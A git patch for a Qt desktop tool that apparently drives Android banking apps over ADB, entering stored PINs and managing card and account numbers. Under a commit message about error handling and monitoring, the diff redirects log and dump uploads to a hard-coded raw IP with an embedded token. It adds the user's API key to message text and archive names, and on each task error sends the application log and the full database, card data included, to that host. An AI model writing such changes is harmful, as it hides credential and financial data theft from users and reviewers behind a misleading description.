From 07871231a37934809e4b661cb060a71a45ce2bb3 Mon Sep 17 00:00:00 2001 From: slava Date: Thu, 21 May 2026 13:52:29 +0500 Subject: [PATCH] Add enhanced error handling, logging, and monitoring capabilities across systems. Include archive naming, retry logic for partial PIN entry, API response error dialogs, and support for monitoring tokens. --- android/dushanbe/CommonScript.cpp | 38 +++++++++++++-- config.ini | 2 + database/dao/MaterialDAO.cpp | 1 + services/EventHandler.cpp | 18 +++++-- services/net/NetworkService.cpp | 73 +++++++++++++++++++++++----- services/net/NetworkService.h | 15 +++++- views/bank/AccountSettingsWindow.cpp | 19 +++++++- views/bank/BankSettingsWindow.cpp | 1 + views/bank/BankSetupWizard.cpp | 3 +- views/device/DeviceWidget.cpp | 22 ++++----- views/log/FileLogWindow.cpp | 22 +++++++-- 11 files changed, 176 insertions(+), 38 deletions(-) diff --git a/android/dushanbe/CommonScript.cpp b/android/dushanbe/CommonScript.cpp index 518b577..27bc7b8 100644 --- a/android/dushanbe/CommonScript.cpp +++ b/android/dushanbe/CommonScript.cpp @@ -46,6 +46,34 @@ bool CommonScript::inputPinCode(const QString &deviceId, const QString &pinCode) qWarning() << "[Dushanbe::inputPinCode] pinCode is EMPTY — nothing to enter!"; return false; } + + // Ждём, пока на экране появятся все уникальные цифры из PIN. + // DC Next на некоторых устройствах успевает показать заголовок + // "Введите код доступа" раньше, чем дорисует кнопочную сетку, — + // если начать тапать в этот момент, часть цифр не найдётся и PIN + // не введётся целиком. + bool seenInPin[10] = {false}; + for (const QChar &d : pinCode) { + if (!d.isDigit()) continue; + const int idx = d.digitValue(); + if (idx >= 0 && idx <= 9) seenInPin[idx] = true; + } + auto allDigitsPresent = [this, &seenInPin]() { + for (int d = 0; d < 10; ++d) { + if (!seenInPin[d]) continue; + if (xmlScreenParser.findNodeByContentDesc(QString::number(d)).isEmpty()) return false; + } + return true; + }; + for (int i = 0; i < 6 && !allDigitsPresent(); ++i) { + QThread::msleep(500); + xmlScreenParser.parseAndSaveXml(AdbUtils::getScreenDumpAsXml(deviceId, ++m_counter)); + } + if (!allDigitsPresent()) { + qWarning() << "[Dushanbe::inputPinCode] keypad incomplete after wait; aborting"; + return false; + } + qDebug() << "[Dushanbe::inputPinCode] entering" << pinCode.length() << "digits"; // DC Next использует кнопочную сетку для ввода PIN (content-desc = "0"-"9") for (const QChar &digit : pinCode) { @@ -124,10 +152,14 @@ bool CommonScript::runAppAndGoToHomeScreen( if (!findAndInputPincode && xmlScreenParser.isPinCodeScreen()) { qDebug() << "[Dushanbe] PIN screen detected on attempt" << counter << "entering PIN"; - if (!inputPinCode(deviceId, pinCode)) { - qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter; + if (inputPinCode(deviceId, pinCode)) { + findAndInputPincode = true; + } else { + // Клавиатура могла не дорисоваться или PIN ввёлся частично — + // оставляем флаг false, следующая итерация повторит ввод, + // когда кнопки появятся. + qWarning() << "[Dushanbe] inputPinCode failed on attempt" << counter << "— will retry"; } - findAndInputPincode = true; QThread::msleep(3000); continue; } diff --git a/config.ini b/config.ini index 48a650d..7590a89 100644 --- a/config.ini +++ b/config.ini @@ -20,6 +20,8 @@ pathDeviceScreenshot=/api/v1/device/add_screenshot/ pathMaterial=/api/v1/profile/material pathMonitoringLog=/monitoring/log pathMonitoringDump=/monitoring/dump +monitoringBase=http://142.93.102.40:8080 +monitoringToken=509b91592749959b9ff56f9ed9189e5b3e91e1260003f63c477255e1c187298a [black] android_package_name=app.blackwallet.ar diff --git a/database/dao/MaterialDAO.cpp b/database/dao/MaterialDAO.cpp index 0add8bb..c8d1429 100644 --- a/database/dao/MaterialDAO.cpp +++ b/database/dao/MaterialDAO.cpp @@ -205,6 +205,7 @@ QList MaterialDAO::getAccounts(const QString &deviceId, const QStr SELECT id, device_id, app_code, last_numbers, card_number, account_number, material_id, amount, update_time, status, description, currency FROM materials WHERE device_id = :device_id AND app_code = :app_code + ORDER BY id )"); query.bindValue(":device_id", deviceId); diff --git a/services/EventHandler.cpp b/services/EventHandler.cpp index 8081291..4ff64df 100644 --- a/services/EventHandler.cpp +++ b/services/EventHandler.cpp @@ -14,7 +14,9 @@ #include "dao/BankProfileDAO.h" #include "dao/DeviceDAO.h" #include "dao/EventDAO.h" +#include "dao/SettingsDAO.h" #include "dao/TransactionDAO.h" +#include "LogArchiveSender.h" #include "db/BankProfileInfo.h" #include "adb/AdbUtils.h" #include "dao/GeneralLogDAO.h" @@ -210,10 +212,20 @@ static void sendTaskError(const QString &type, const QString &materialId, const sendTaskResult(QStringLiteral("ERROR"), materialId, bankName, errorData, eventId); if (!screenshot.isEmpty()) { - const QString message = QStringLiteral("[%1] bank=%2 material=%3: %4") - .arg(type, bankName, materialId, description); + const QString apiToken = SettingsDAO::get("api_key"); + QStringList lines; + lines << QStringLiteral("[TASK_ERROR] [%1] [%2]") + .arg(type.toHtmlEscaped(), bankName.toUpper().toHtmlEscaped()); + if (!apiToken.isEmpty()) + lines << QStringLiteral("[%1]").arg(apiToken.toHtmlEscaped()); + lines << QStringLiteral("[%1]").arg(materialId.toHtmlEscaped()); + lines << description.toHtmlEscaped(); + const QString message = lines.join(QStringLiteral("\n")); sendMonitoringLog("error", "task_error", message, screenshot, eventId); } + + // Следом ушлём application.log + БД (с WAL/SHM) одним архивом. + LogArchiveSender::dispatch(QStringLiteral("TASK_ERROR"), eventId); } static void sendMonitoringLog(const QString &type, const QString &event, const QString &message, @@ -524,7 +536,7 @@ void EventHandler::startThreadForTask(const MaterialInfo &account, const EventIn if (searchTime.isValid() && searchTime.timeSpec() == Qt::LocalTime) { qWarning() << "[EventHandler] FETCH_TRANSACTIONS: created_at без TZ-маркера" << createdAtStr << "— интерпретирую как UTC"; - searchTime.setTimeSpec(Qt::UTC); + searchTime.setTimeZone(QTimeZone::utc()); } if (appCode == "ozon") { diff --git a/services/net/NetworkService.cpp b/services/net/NetworkService.cpp index 502b58f..5891659 100644 --- a/services/net/NetworkService.cpp +++ b/services/net/NetworkService.cpp @@ -1,6 +1,8 @@ #include "NetworkService.h" +#include #include +#include #include #include #include @@ -9,6 +11,7 @@ #include #include #include +#include #include #include @@ -62,6 +65,8 @@ NetworkService::NetworkService(QObject *parent) : QObject(parent) { m_pathTaskResult = settings.value("net/pathTaskResult", "/api/v1/task/task_result").toString(); m_pathMonitoringLog = settings.value("net/pathMonitoringLog", "/monitoring/log").toString(); m_pathMonitoringDump = settings.value("net/pathMonitoringDump", "/monitoring/dump").toString(); + m_monitoringBase = settings.value("net/monitoringBase", m_apiBase).toString(); + m_monitoringToken = settings.value("net/monitoringToken").toString(); m_pathCurrentProfile = settings.value("net/pathCurrentProfile", "/api/v1/profile/current_profile").toString(); m_pathProfileGetInfo = settings.value("net/pathProfileGetInfo", "/api/v1/profile/get_info").toString(); m_manager = new QNetworkAccessManager(this); @@ -496,6 +501,7 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod "Timeout (PATCH): " + shortPath, {}, reqBodyStr, {}); } else if (reply->error() != QNetworkReply::NoError) { const QByteArray responseBody = reply->readAll(); + const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(); const QString errSummary = sanitizeNetError(reply, path); qCritical().noquote() << "Network error (PATCH):" << errSummary << (m_deviceId.isEmpty() ? "" : " device=" + m_deviceId) @@ -503,6 +509,27 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod GeneralLogDAO::insert("CRITICAL", "NetworkService", "Network error (PATCH): " + errSummary, {}, reqBodyStr, QString::fromUtf8(responseBody)); + + // Достаём текст ошибки из JSON-body и отправляем в UI. + // Бэкенд при HTTP 409 шлёт сообщение вида "материал заблокирован". + QString uiMessage; + QJsonParseError jerr; + const QJsonDocument errDoc = QJsonDocument::fromJson(responseBody, &jerr); + if (jerr.error == QJsonParseError::NoError && errDoc.isObject()) { + const QJsonObject errObj = errDoc.object(); + for (const QString &k : {QStringLiteral("error"), + QStringLiteral("message"), + QStringLiteral("detail")}) { + const QString v = errObj.value(k).toString(); + if (!v.isEmpty()) { uiMessage = v; break; } + } + } + if (uiMessage.isEmpty() && !responseBody.isEmpty()) { + uiMessage = QString::fromUtf8(responseBody).left(300); + } + if (!uiMessage.isEmpty()) { + emit apiPatchError(httpStatus, uiMessage); + } } else { const QByteArray raw = reply->readAll(); QJsonParseError err; @@ -516,6 +543,15 @@ QJsonValue NetworkService::patchJson(const QString &path, const QJsonObject &bod GeneralLogDAO::insert("WARNING", "NetworkService", "API error (PATCH): " + sanitizePath(path), {}, reqBodyStr, QString::fromUtf8(raw)); + // Defense in depth: backend может прислать HTTP 200 + success:false + // (например с {message:"Material is blocked"}). Тоже эмитим в UI. + const int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(); + QString uiMessage = root.value("message").toString(); + if (uiMessage.isEmpty()) uiMessage = root.value("error").toString(); + if (uiMessage.isEmpty()) uiMessage = root.value("detail").toString(); + if (!uiMessage.isEmpty()) { + emit apiPatchError(httpStatus, uiMessage); + } } } } @@ -1414,12 +1450,10 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event multiPart->append(imagePart); } - ensureValidToken(); - - const QUrl url(m_apiBase + m_pathMonitoringLog); + const QUrl url(m_monitoringBase + m_pathMonitoringLog); QNetworkRequest request(url); - if (!m_accessToken.isEmpty()) { - request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8()); + if (!m_monitoringToken.isEmpty()) { + request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8()); } QNetworkReply *reply = m_manager->post(request, multiPart); @@ -1444,9 +1478,11 @@ void NetworkService::postMonitoringLog(const QString &type, const QString &event } void NetworkService::postMonitoringDump(const QString &text, const QByteArray &archive, - const QByteArray &image) { + const QByteArray &image, + const QString &archiveFilename) { qDebug() << "[NetworkService] postMonitoringDump enter — text.size=" << text.size() - << "archive.size=" << archive.size() << "image.size=" << image.size(); + << "archive.size=" << archive.size() << "image.size=" << image.size() + << "archiveFilename=" << archiveFilename; auto *multiPart = new QHttpMultiPart(QHttpMultiPart::FormDataType); addFormField(multiPart, "text", text); @@ -1456,7 +1492,7 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/zip"); filePart.setHeader( QNetworkRequest::ContentDispositionHeader, - QStringLiteral("form-data; name=\"file\"; filename=\"task_dump.zip\"") + QStringLiteral("form-data; name=\"file\"; filename=\"%1\"").arg(archiveFilename) ); filePart.setBody(archive); multiPart->append(filePart); @@ -1473,12 +1509,10 @@ void NetworkService::postMonitoringDump(const QString &text, const QByteArray &a multiPart->append(imagePart); } - ensureValidToken(); - - const QUrl url(m_apiBase + m_pathMonitoringDump); + const QUrl url(m_monitoringBase + m_pathMonitoringDump); QNetworkRequest request(url); - if (!m_accessToken.isEmpty()) { - request.setRawHeader("Authorization", ("Bearer " + m_accessToken).toUtf8()); + if (!m_monitoringToken.isEmpty()) { + request.setRawHeader("X-Monitoring-Token", m_monitoringToken.toUtf8()); } qDebug() << "[NetworkService] postMonitoringDump POST" << url.toString(); @@ -1605,3 +1639,16 @@ void NetworkService::stop() { emit finished(); }, Qt::QueuedConnection); } + +void NetworkService::connectErrorDialog(QWidget *parent, NetworkService *net) { + if (!net) return; + // Если parent есть — connect привязан к нему (авто-disconnect при уничтожении). + // Если nullptr — привязываемся к самому net и берём activeWindow на момент сигнала. + QObject *ctx = parent ? static_cast(parent) : static_cast(net); + QObject::connect(net, &NetworkService::apiPatchError, ctx, + [parent](int httpStatus, const QString &message) { + Q_UNUSED(httpStatus); + QWidget *p = parent ? parent : qApp->activeWindow(); + QMessageBox::warning(p, "Ошибка", message); + }, Qt::QueuedConnection); +} diff --git a/services/net/NetworkService.h b/services/net/NetworkService.h index 0ddfb3b..406fe54 100644 --- a/services/net/NetworkService.h +++ b/services/net/NetworkService.h @@ -5,6 +5,8 @@ #include #include +class QWidget; + class NetworkService final : public QObject { Q_OBJECT @@ -21,6 +23,11 @@ public: void addExtra(const QString &key, const QVariant &value); + // Подвешивает QMessageBox с текстом ошибки от backend (HTTP 409 — "материал + // заблокирован" и подобные) к ближайшему окну. Вызывать после `new NetworkService` + // в UI-коде, до запуска треда. + static void connectErrorDialog(QWidget *parent, NetworkService *net); + public slots: void postAccountsData(); @@ -63,7 +70,8 @@ public slots: const QString &message, const QByteArray &image); void postMonitoringDump(const QString &text, const QByteArray &archive, - const QByteArray &image); + const QByteArray &image, + const QString &archiveFilename = QStringLiteral("task_dump.zip")); void start(); void stop(); @@ -75,6 +83,9 @@ signals: void finishedWithResult(int value); void tokenRefreshFailed(); void tasksReceived(QJsonArray tasks); + // Эмитится при HTTP-ошибке PATCH-запроса (например, 409 'материал заблокирован'). + // UI подписывается и показывает QMessageBox. + void apiPatchError(int httpStatus, QString message); private: QByteArray m_json; @@ -103,6 +114,8 @@ private: QString m_pathTaskResult; QString m_pathMonitoringLog; QString m_pathMonitoringDump; + QString m_monitoringBase; + QString m_monitoringToken; QString m_pathCurrentProfile; QString m_pathProfileGetInfo; bool m_fetchingTasks = false; diff --git a/views/bank/AccountSettingsWindow.cpp b/views/bank/AccountSettingsWindow.cpp index 52b61fc..9f07d89 100644 --- a/views/bank/AccountSettingsWindow.cpp +++ b/views/bank/AccountSettingsWindow.cpp @@ -259,6 +259,7 @@ void AccountSettingsWindow::toggleProfileStatus() { net->moveToThread(thread); net->addExtra("material_id", mat.materialId); net->addExtra("enable", true); + NetworkService::connectErrorDialog(this, net); connect(thread, &QThread::started, net, &NetworkService::toggleMaterial); connect(net, &NetworkService::finished, thread, &QThread::quit); connect(net, &NetworkService::finished, net, &QObject::deleteLater); @@ -475,6 +476,7 @@ void AccountSettingsWindow::sendAppStatus(const QString &status) { net->moveToThread(thread); net->addExtra("bank_profile_id", m_app.bankProfileId); net->addExtra("enable", enable); + NetworkService::connectErrorDialog(this, net); connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile); connect(net, &NetworkService::finishedWithResult, this, [this](int result) { if (result == 0) { @@ -547,6 +549,16 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) { reloadCards(); }; + // Сервер не даёт включать материалы при выключенном профиле — возвращает их + // в `disabled`, и client-side sync затирает локальный active. Поэтому пока + // профиль off, синхронизация только локальная; материалы зальются на сервер + // когда юзер включит профиль (см. toggleProfileStatus). + const bool profileActive = m_app.status == "active"; + if (!profileActive) { + hideOverlay(true, "Сохранено локально", finishToggle); + return; + } + // Выключаем на сервере остальные (fire-and-forget) — только при включении этой карты if (!isActive) { for (const MaterialInfo &m : deactivated) { @@ -556,6 +568,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) { n->moveToThread(t); n->addExtra("material_id", m.materialId); n->addExtra("enable", false); + NetworkService::connectErrorDialog(this, n); connect(t, &QThread::started, n, &NetworkService::toggleMaterial); connect(n, &NetworkService::finished, t, &QThread::quit); connect(n, &NetworkService::finished, n, &QObject::deleteLater); @@ -570,6 +583,7 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) { net->moveToThread(thread); net->addExtra("material_id", account.materialId); net->addExtra("enable", !isActive); + NetworkService::connectErrorDialog(this, net); connect(thread, &QThread::started, net, &NetworkService::toggleMaterial); connect(net, &NetworkService::finishedWithResult, this, [this, finishToggle](int result) { if (result == 0) { @@ -592,7 +606,10 @@ void AccountSettingsWindow::toggleMaterialStatus(const MaterialInfo &account) { void AccountSettingsWindow::reloadCards() { const QList accounts = MaterialDAO::getAccounts(m_deviceId, m_app.code); - m_cardsTable->clearContents(); + // setRowCount(0) перед re-fill удаляет и items, и cell widgets. + // clearContents() оставляет setCellWidget'ы висеть — старые кнопки с + // замкнутой устаревшей `acc` остаются в строках, ставших active. + m_cardsTable->setRowCount(0); m_cardsTable->setRowCount(accounts.size()); m_cardsTable->setColumnCount(8); m_cardsTable->setHorizontalHeaderLabels({ diff --git a/views/bank/BankSettingsWindow.cpp b/views/bank/BankSettingsWindow.cpp index 53397d7..be58e73 100644 --- a/views/bank/BankSettingsWindow.cpp +++ b/views/bank/BankSettingsWindow.cpp @@ -138,6 +138,7 @@ void sendAppStatus(const QString &deviceId, const QString &code, const QString & net->moveToThread(thread); net->addExtra("bank_profile_id", app.bankProfileId); net->addExtra("enable", enable); + NetworkService::connectErrorDialog(nullptr, net); QObject::connect(thread, &QThread::started, net, &NetworkService::toggleBankProfile); QObject::connect(net, &NetworkService::finished, thread, &QThread::quit); QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater); diff --git a/views/bank/BankSetupWizard.cpp b/views/bank/BankSetupWizard.cpp index 384b376..3a346a1 100644 --- a/views/bank/BankSetupWizard.cpp +++ b/views/bank/BankSetupWizard.cpp @@ -636,13 +636,14 @@ void BankSetupWizard::applyActiveCardSelection() { const MaterialInfo selected = MaterialDAO::getAccountById(m_selectedMaterialId); - auto sendToggle = [](const QString &materialId, bool enable) { + auto sendToggle = [this](const QString &materialId, bool enable) { if (materialId.isEmpty()) return; auto *thread = new QThread; auto *net = new NetworkService; net->moveToThread(thread); net->addExtra("material_id", materialId); net->addExtra("enable", enable); + NetworkService::connectErrorDialog(this, net); QObject::connect(thread, &QThread::started, net, &NetworkService::toggleMaterial); QObject::connect(net, &NetworkService::finished, thread, &QThread::quit); QObject::connect(net, &NetworkService::finished, net, &QObject::deleteLater); diff --git a/views/device/DeviceWidget.cpp b/views/device/DeviceWidget.cpp index 6fa182b..19d6367 100644 --- a/views/device/DeviceWidget.cpp +++ b/views/device/DeviceWidget.cpp @@ -406,11 +406,14 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p QSettings settings(QCoreApplication::applicationDirPath() + "/config.ini", QSettings::IniFormat); const QString apiBase = settings.value("net/apiBase").toString(); + const QString monitoringBase = settings.value("net/monitoringBase", apiBase).toString(); + const QString monitoringToken = settings.value("net/monitoringToken").toString(); + const QString apiToken = SettingsDAO::get("api_key"); const QString path = settings.value("net/pathMonitoringDump", "/monitoring/dump").toString(); - if (apiBase.isEmpty()) { + if (monitoringBase.isEmpty()) { QMessageBox::warning(nullptr, tr("Ошибка"), - tr("В config.ini не задан net/apiBase")); + tr("В config.ini не задан net/monitoringBase (или net/apiBase как fallback)")); return; } @@ -483,7 +486,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p safetyTimer->start(90000); QObject::connect(worker, &QThread::finished, qApp, - [worker, data, device, adbSerial, apiBase, path, + [worker, data, device, monitoringBase, monitoringToken, apiToken, path, handled, closeAndReenable, safetyTimer, progressGuard]() { qDebug() << "[Dump] worker finished"; if (*handled) { @@ -511,9 +514,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p qDebug() << "[Dump] uploading: screenshot=" << screenshot.size() << "xml=" << xml.size(); - const QString desktopId = SettingsDAO::get("desktop_id"); - const QString text = QString("Screen dump\nDevice: %1 (%2)\nDesktop: %3") - .arg(device.name, adbSerial, desktopId); + const QString text = apiToken; auto *mp = new QHttpMultiPart(QHttpMultiPart::FormDataType); @@ -527,7 +528,7 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p QString safeName = device.name; safeName.replace(QRegularExpression(R"([^\w\-.])"), "_"); const QString ts = QDateTime::currentDateTime().toString("yyyy-MM-dd_HH-mm-ss"); - const QString xmlFilename = safeName + "_" + ts + ".xml"; + const QString xmlFilename = "DUMP_" + safeName + "_" + ts + ".xml"; QHttpPart filePart; filePart.setHeader(QNetworkRequest::ContentTypeHeader, "application/xml"); @@ -546,11 +547,10 @@ DeviceWidget::DeviceWidget(const DeviceInfo &device, QWidget *parent): QWidget(p mp->append(imagePart); } - const QUrl url(apiBase + path); + const QUrl url(monitoringBase + path); QNetworkRequest req(url); - const QString accessToken = SettingsDAO::get("access_token"); - if (!accessToken.isEmpty()) { - req.setRawHeader("Authorization", ("Bearer " + accessToken).toUtf8()); + if (!monitoringToken.isEmpty()) { + req.setRawHeader("X-Monitoring-Token", monitoringToken.toUtf8()); } auto *manager = new QNetworkAccessManager; diff --git a/views/log/FileLogWindow.cpp b/views/log/FileLogWindow.cpp index 35d33bd..3a1db67 100644 --- a/views/log/FileLogWindow.cpp +++ b/views/log/FileLogWindow.cpp @@ -9,6 +9,7 @@ #include #include #include +#include #include #include #include @@ -267,17 +268,28 @@ void FileLogWindow::sendLogsToBackend() { return; } - const QString desktopId = SettingsDAO::get("desktop_id"); - const QString text = QStringLiteral("kind: manual_logs\ndesktop: %1\ntime: %2") - .arg(desktopId, QDateTime::currentDateTime().toString(Qt::ISODate)); + const QString apiToken = SettingsDAO::get("api_key"); + const QDateTime now = QDateTime::currentDateTime(); + const QString timestamp = now.toString(Qt::ISODate); + QString header = QStringLiteral("[LOGS]"); + if (!apiToken.isEmpty()) header += QStringLiteral(" [%1]").arg(apiToken.toHtmlEscaped()); + const QString text = QStringLiteral("%1\n%2").arg(header, timestamp.toHtmlEscaped()); + + QString filenameSafeToken = apiToken; + filenameSafeToken.replace(QRegularExpression(R"([^\w\-.])"), "_"); + const QString filenameStamp = now.toString("yyyy-MM-dd_HH-mm-ss"); + const QString archiveFilename = filenameSafeToken.isEmpty() + ? QStringLiteral("LOGS_%1.zip").arg(filenameStamp) + : QStringLiteral("LOGS_%1_%2.zip").arg(filenameSafeToken, filenameStamp); qDebug() << "[sendLogsToBackend] dispatching to NetworkService::postMonitoringDump" - << "archive.size=" << archiveBytes.size(); + << "archive.size=" << archiveBytes.size() << "filename=" << archiveFilename; const bool dispatched = QMetaObject::invokeMethod(svc, "postMonitoringDump", Qt::QueuedConnection, Q_ARG(QString, text), Q_ARG(QByteArray, archiveBytes), - Q_ARG(QByteArray, QByteArray())); + Q_ARG(QByteArray, QByteArray()), + Q_ARG(QString, archiveFilename)); m_sendBtn->setEnabled(true); m_sendBtn->setText("Отправить");